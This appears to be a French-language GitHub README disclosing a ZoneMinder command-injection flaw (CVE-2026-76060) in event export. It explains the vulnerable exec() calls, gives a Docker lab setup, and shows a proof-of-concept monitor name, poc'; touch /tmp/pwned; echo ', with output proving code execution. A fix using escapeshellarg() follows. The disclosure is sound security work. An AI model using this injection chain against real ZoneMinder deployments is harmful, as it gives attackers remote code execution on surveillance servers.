
Preuve de concept d'exploitation pour CVE-2026-76060, une injection de commandes système dans l'exportation d'événements de ZoneMinder, démontrant une exécution de code à distance (RCE) via des noms de moniteurs spécialement conçus.
Preuve de concept pour une vulnérabilité d'injection de commandes OS dans la fonctionnalité d'exportation d'événements de ZoneMinder (web/includes/download_functions.php).
Les noms de moniteurs sont interpolés directement dans les commandes shell en utilisant un encadrement manuel par guillemets simples au lieu de escapeshellarg(). Un attaquant capable de créer un moniteur peut injecter des commandes shell arbitraires qui s'exécutent en tant que www-data/l'utilisateur sous lequel le processus tourne lorsque n'importe quel utilisateur déclenche une exportation d'événement.
44c5c3c du 4 octobre 2023 : c'est ici que le fichier download_functions.php a été introduit. Le message du commit est « Introduce new download mode that concats event videos into 1 file per monitor. » Le code vulnérable est présent ici, mais nécessitait qu'un administrateur crée d'abord le moniteur.2d49e93 du 2 janvier 2024 « Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones. » C'est ici que les choses changent un peu. Désormais, un utilisateur avec uniquement peut configurer le nom du moniteur pour l'attaque, et n'importe quel utilisateur disposant des permissions d'exportation peut la déclencher.Monitors=CreateVersions concernées : >= 1.37.48 (contient les modifications de migration SQL) et <= 1.38.1 La branche 1.36.x n'est pas concernée.
Deux utilisateurs. Deux niveaux de privilèges. Un seul shell.
Monitors=Create ou Monitors=Edit s'il existe déjà un moniteur.L'enregistrement d'événement n'a pas besoin d'être créé manuellement. ZoneMinder est un système de caméras... il crée automatiquement les enregistrements d'événements lorsque les caméras fonctionnent. Dans un déploiement en production, l'étape de configuration est : créer le moniteur, puis s'éloigner.
Le nom de moniteur non assaini atteint deux appels exec() distincts :
Ligne 126 | ffmpeg :
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Ligne 150 | tar/zip :
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Les deux sont atteignables à partir du même nom de moniteur soigneusement conçu, quel que soit le format d'exportation.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# attendre que ZoneMinder termine son initialisation (~30 secondes)
uv run poc.py
init.sql initialise la base de données avec l'authentification activée et deux utilisateurs :
medpriv avec les droits de création de moniteurs (et, pour des raisons de temps, également les droits de création d'événements, mais ce n'est pas nécessaire en production)lowpriv avec uniquement l'accès à l'exportation d'événementsuv run poc.py exécute la chaîne complète :
medpriv s'authentifie via l'API et crée un moniteur nommé poc'; touch /tmp/pwned; echo 'medpriv crée un enregistrement d'événement pour accélérer la démonstration (en production, ZoneMinder le fait automatiquement)lowpriv s'authentifie et déclenche une exportation d'événement/tmp/pwned dans le conteneur et affiche le résultatSortie attendue :
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:NDans tous les cas, au minimum escapeshellarg() ne coûte rien.
b3a7c05[!NOTE] Corrigé dans les 12 heures suivant le signalement. Aucune reconnaissance de la part du mainteneur qu'il s'agit d'un problème de sécurité. Je ne suis pas d'accord. Mis à jour le 27/08/26 - Le mainteneur a reconnu le signalement et un CVE a été émis.
Appliquez escapeshellarg() aux deux points d'injection au minimum :
// Ligne 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Ligne 150
$command .= ' '.escapeshellarg($mergedFileName);
Les lignes 116 et 211 dans generateFileList() présentent le même schéma.
Découvert par (@investigato)
Analyse complète : scriptkittens.com